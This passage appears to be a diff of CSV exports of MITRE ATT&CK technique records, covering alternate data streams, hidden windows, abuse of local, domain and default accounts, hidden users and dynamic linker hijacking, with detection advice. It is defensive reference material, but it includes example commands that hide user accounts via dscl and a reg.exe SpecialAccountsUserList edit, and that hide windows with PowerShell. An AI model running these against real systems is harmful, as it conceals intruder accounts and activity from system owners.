Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)",,,,,True,,,,['Windows'],,['NTFS partitioned hard drive'],,1.0 -2020-03-13 20:26:49.433000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. +The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)",True,,['Windows'],1.0,,['NTFS partitioned hard drive'],,,,, +attack-pattern,attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:26:49.433Z,2020-03-29T22:49:43.557Z,Hidden Window,"Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. On Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019) Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. -Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1564/003', external_id='T1564.003'), ExternalReference(source_name='PowerShell About 2019', description='Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.', url='https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1'), ExternalReference(source_name='Antiquated Mac Malware', description='Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', url='https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/')]",attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 22:49:43.557000+00:00,Hidden Window,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Travis Smith, Tripwire']","['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution', 'File: File Modification']",,,,,"Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.",,,,,True,,,['User'],"['macOS', 'Windows']",,,,1.0 -2020-03-13 20:26:46.695000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. +Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/003', 'external_id': 'T1564.003'}, {'source_name': 'PowerShell About 2019', 'description': 'Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1'}, {'source_name': 'Antiquated Mac Malware', 'description': 'Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire']","['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution', 'File: File Modification']",,"Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.",True,['User'],"['macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:26:46.695Z,2021-10-18T17:45:48.323Z,Local Accounts,"Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. -Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1078/003', external_id='T1078.003')]",attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2021-04-05 12:51:00.663000+00:00,Local Accounts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,,,,"Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.",,,,,True,,,"['Administrator', 'User']","['Linux', 'macOS', 'Windows', 'Containers']",,,,1.1 -2020-03-13 20:21:54.758000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts) +Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1078/003', 'external_id': 'T1078.003'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Metadata', 'User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,"Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.",True,"['Administrator', 'User']","['Linux', 'macOS', 'Windows', 'Containers']",1.2,,,,,,, +attack-pattern,attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:21:54.758Z,2021-10-19T03:29:47.651Z,Domain Accounts,"Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts) -Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1078/002', external_id='T1078.002'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/560.html', external_id='CAPEC-560'), ExternalReference(source_name='TechNet Credential Theft', description='Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.', url='https://technet.microsoft.com/en-us/library/dn535501.aspx'), ExternalReference(source_name='Microsoft AD Accounts', description='Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020.', url='https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts'), ExternalReference(source_name='TechNet Audit Policy', description='Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', url='https://technet.microsoft.com/en-us/library/dn487457.aspx')]",attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2020-09-16 19:42:11.787000+00:00,Domain Accounts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,,,,"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). +Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1078/002', 'external_id': 'T1078.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/560.html', 'external_id': 'CAPEC-560'}, {'source_name': 'TechNet Credential Theft', 'description': 'Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn535501.aspx'}, {'source_name': 'Microsoft AD Accounts', 'description': 'Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts'}, {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'}, {'source_name': 'Ubuntu SSSD Docs', 'description': 'Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.', 'url': 'https://ubuntu.com/server/docs/service-sssd'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jon Sternstein, Stern Security']","['Logon Session: Logon Session Metadata', 'User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). -Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.",,,,,True,,,"['User', 'Administrator']","['Linux', 'macOS', 'Windows']",,,,1.1 -2020-03-13 20:15:31.974000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes) +On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) -Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1078/001', external_id='T1078.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/70.html', external_id='CAPEC-70'), ExternalReference(source_name='Microsoft Local Accounts Feb 2019', description='Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.', url='https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts'), ExternalReference(source_name='AWS Root User', description='Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.', url='https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html'), ExternalReference(source_name='Threat Matrix for Kubernetes', description='Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.', url='https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/'), ExternalReference(source_name='Metasploit SSH Module', description='Metasploit. (n.d.). Retrieved April 12, 2019.', url='https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh')]",attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2021-04-05 20:14:26.846000+00:00,Default Accounts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,,,,"Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",,,,,True,,,"['Administrator', 'User']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,,,1.2 -2020-03-13 20:12:40.876000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. +Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.",True,"['User', 'Administrator']","['Linux', 'macOS', 'Windows']",1.2,,,,,,, +attack-pattern,attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:15:31.974Z,2021-04-05T20:14:26.846Z,Default Accounts,"Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes) -There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1564/002', external_id='T1564.002'), ExternalReference(source_name='Cybereason OSX Pirrit', description='Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.', url='http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf')]",attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-07-31 17:42:43.768000+00:00,Hidden Users,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['User Account: User Account Creation', 'User Account: User Account Metadata', 'File: File Modification']",,,,,"This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.",,,,,True,,,"['root', 'Administrator']",['macOS'],,,,1.0 -2020-03-13 20:09:59.569000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD) +Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1078/001', 'external_id': 'T1078.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/70.html', 'external_id': 'CAPEC-70'}, {'source_name': 'Microsoft Local Accounts Feb 2019', 'description': 'Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.', 'url': 'https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts'}, {'source_name': 'AWS Root User', 'description': 'Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.', 'url': 'https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html'}, {'source_name': 'Threat Matrix for Kubernetes', 'description': 'Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.', 'url': 'https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/'}, {'source_name': 'Metasploit SSH Module', 'description': 'Metasploit. (n.d.). Retrieved April 12, 2019.', 'url': 'https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,"Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",True,"['Administrator', 'User']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",1.2,,,,,,, +attack-pattern,attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:12:40.876Z,2021-10-14T20:22:03.625Z,Hidden Users,"Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system. + +In macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit) + +In Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user “test” from the Windows login screen: reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/002', 'external_id': 'T1564.002'}, {'source_name': 'Cybereason OSX Pirrit', 'description': 'Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.', 'url': 'http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf'}, {'source_name': 'FireEye SMOKEDHAM June 2021', 'description': 'FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html'}, {'source_name': 'US-CERT TA18-074A', 'description': 'US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-074A'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Omkar Gudhate'],"['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'User Account: User Account Creation', 'User Account: User Account Metadata', 'File: File Modification']",,"This technique prevents a user from showing up at the log in screen, but all of the other signs of the user may still exist. For example, ""hidden"" users may still get a home directory and will appear in the authentication logs. + +Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList key.",True,"['root', 'Administrator']","['macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:09:59.569Z,2021-04-27T19:55:18.453Z,Dynamic Linker Hijacking,"Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD) On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python’s os.environ. On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) -On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1574/006', external_id='T1574.006'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/13.html', external_id='CAPEC-13'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/640.html', external_id='CAPEC-640'), ExternalReference(source_name='Man LD.SO', description=""Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020."", url='https://www.man7.org/linux/man-pages/man8/ld.so.8.html'), ExternalReference(source_name='TLDP Shared Libraries', description='The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.', url='https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html'), ExternalReference(source_name='Apple Doco Archive Dynamic Libraries', description='Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.', url='https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html'), ExternalReference(source_name='Baeldung LD_PRELOAD', description='baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.', url='https://www.baeldung.com/linux/ld_preload-trick-what-is'), ExternalReference(source_name='Code Injection on Linux and macOS', description='Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.', url='https://www.datawire.io/code-injection-on-linux-and-macos/'), ExternalReference(source_name='Uninformed Needle', description='skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.', url='http://hick.org/code/skape/papers/needle.txt'), ExternalReference(source_name='Phrack halfdead 1997', description='halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.', url='http://phrack.org/issues/51/8.html'), ExternalReference(source_name='Brown Exploiting Linkers', description='Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021.', url='http://www.nth-dimension.org.uk/pub/BTL.pdf'), ExternalReference(source_name='TheEvilBit DYLD_INSERT_LIBRARIES', description='Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.', url='https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/'), ExternalReference(source_name='Timac DYLD_INSERT_LIBRARIES', description='Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.', url='https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/'), ExternalReference(source_name='Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass', description='Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.', url='https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191')]",attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-27 19:55:18.453000+00:00,Dynamic Linker Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Command: Command Execution']",,,,,"Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes. +On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) 